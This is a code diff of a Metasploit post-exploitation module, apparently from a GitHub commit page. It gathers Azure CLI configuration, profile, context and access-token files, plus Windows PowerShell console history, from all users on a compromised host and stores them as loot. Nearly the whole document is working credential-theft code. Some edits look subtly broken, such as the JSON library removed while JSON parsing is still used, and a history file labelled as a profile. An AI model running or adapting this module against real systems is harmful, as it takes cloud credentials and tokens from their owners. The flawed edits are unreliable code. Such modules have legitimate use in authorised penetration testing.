1
1
##
2
- # This module requires Metasploit: https ://metasploit.com/download
2
+ # This module requires Metasploit: http ://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'json'
7
-
8
6
class MetasploitModule < Msf ::Post
9
7
include Msf ::Post ::File
10
8
include Msf ::Post ::Unix
@@ -15,7 +13,7 @@ def initialize(info = {})
15
13
super (
16
14
update_info (
17
15
info ,
18
- 'Name' => 'Multi Gather Azure CLI Credentials' ,
16
+ 'Name' => 'Azure CLI Credentials Gatherer ' ,
19
17
'Description' => %q{
20
18
This module will collect the Azure CLI 2.0 (az cli) settings files
21
19
for all users on a given target. These configuration files contain
@@ -66,10 +64,10 @@ def user_dirs
66
64
end
67
65
68
66
def run
69
- subscription_table = Rex ::Text ::Table . new (
67
+ profile_table = Rex ::Text ::Table . new (
70
68
'Header' => 'Subscriptions' ,
71
69
'Indent' => 1 ,
72
- 'Columns' => [ 'Source' , ' Account Name', 'Username' , 'Cloud Name' ]
70
+ 'Columns' => [ 'Account Name' , 'Username' , 'Cloud Name' ]
73
71
)
74
72
tokens_table = Rex ::Text ::Table . new (
75
73
'Header' => 'Tokens' ,
@@ -88,9 +86,8 @@ def run
88
86
89
87
# ini file content, not json.
90
88
vprint_status ( ' Checking for config files' )
91
- %w[ .azure/config ] . each do |file_location |
89
+ %w[ .azure/config .Azure/config ] . each do |file_location |
92
90
possible_location = ::File . join ( user_directory , file_location )
93
- next unless exists? ( possible_location )
94
91
next unless readable? ( possible_location )
95
92
96
93
data = read_file ( possible_location )
@@ -102,9 +99,8 @@ def run
102
99
end
103
100
104
101
vprint_status ( ' Checking for context files' )
105
- %w[ .azure/AzureRmContext.json ] . each do |file_location |
102
+ %w[ .azure/AzureRmContext.json .Azure/AzureRmContext.json ] . each do |file_location |
106
103
possible_location = ::File . join ( user_directory , file_location )
107
- next unless exists? ( possible_location )
108
104
next unless readable? ( possible_location )
109
105
110
106
data = read_file ( possible_location )
@@ -119,36 +115,60 @@ def run
119
115
end
120
116
end
121
117
122
- %w[ .azure/accessTokens.json .azure/azureProfile.json ] . each do |file_location |
118
+ vprint_status ( ' Checking for profile files' )
119
+ %w[ .azure/azureProfile.json .Azure/azureProfile.json ] . each do |file_location |
120
+ possible_location = ::File . join ( user_directory , file_location )
121
+ next unless readable? ( possible_location )
122
+
123
+ data = read_file ( possible_location )
124
+ next unless data
125
+
126
+ loot = store_loot 'azure.profile.json' , 'text/json' , session , data , file_location , 'Azure CLI Profile'
127
+ print_good " #{ file_location } stored in #{ loot } "
128
+ data = parse_json ( data )
129
+ results = process_profile_file ( data )
130
+ results . each do |result |
131
+ profile_table << result
132
+ end
133
+ end
134
+
135
+ %w[ .azure/accessTokens.json ] . each do |file_location |
136
+ possible_location = ::File . join ( user_directory , file_location )
137
+ next unless readable? ( possible_location )
138
+
139
+ data = read_file ( possible_location )
140
+ next unless data
141
+
142
+ loot = store_loot 'azure.token.json' , 'text/json' , session , data , file_location , 'Azure CLI Tokens'
143
+ print_good " #{ file_location } stored in #{ loot } "
144
+ results = process_tokens_file ( data )
145
+ results . each do |result |
146
+ tokens_table << result
147
+ end
148
+ end
149
+ end
150
+
151
+ # windows only
152
+ if session . platform == 'windows'
153
+ vprint_status ( ' Checking for console history files' )
154
+ [ '%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' ] . each do |file_location |
123
155
possible_location = ::File . join ( user_directory , file_location )
124
- next unless exists ?( possible_location )
156
+ next unless readable ?( possible_location )
125
157
126
158
data = read_file ( possible_location )
127
159
next unless data
128
160
129
- vprint_status ( "Found az cli file #{ possible_location } " )
130
- if file_location . end_with? ( 'accessTokens.json' )
131
- loot_type = 'azurecli.jwt_tokens'
132
- description = 'Azure CLI access/refresh JWT tokens'
133
- process_tokens_file ( possible_location , data ) . each do |item |
134
- tokens_table << item
135
- end
136
- elsif file_location . end_with? ( 'config' )
137
- loot_type = 'azurecli.config'
138
- description = 'Azure CLI configuration'
139
- elsif file_location . end_with? ( 'azureProfile.json' )
140
- loot_type = 'azurecli.azure_profile'
141
- description = 'Azure CLI profile'
142
- process_profile_file ( possible_location , data ) . each do |item |
143
- subscription_table << item
144
- end
161
+ loot = store_loot 'azure.console_history.txt' , 'text/plain' , session , data , file_location , 'Azure CLI Profile'
162
+ print_good " #{ file_location } stored in #{ loot } "
163
+
164
+ results = print_consolehost_history ( data )
165
+ results . each do |result |
166
+ print_good ( result )
145
167
end
146
- stored = store_loot ( loot_type , 'text/plain' , session , data , file_location , description )
147
- print_good ( "#{ possible_location } stored to #{ stored } " )
148
168
end
149
169
end
150
170
151
- print_good ( subscription_table . to_s ) unless subscription_table . rows . empty?
171
+ print_good ( profile_table . to_s ) unless profile_table . rows . empty?
152
172
print_good ( tokens_table . to_s ) unless tokens_table . rows . empty?
153
173
print_good ( context_table . to_s ) unless context_table . rows . empty?
154
174
end
0 commit comments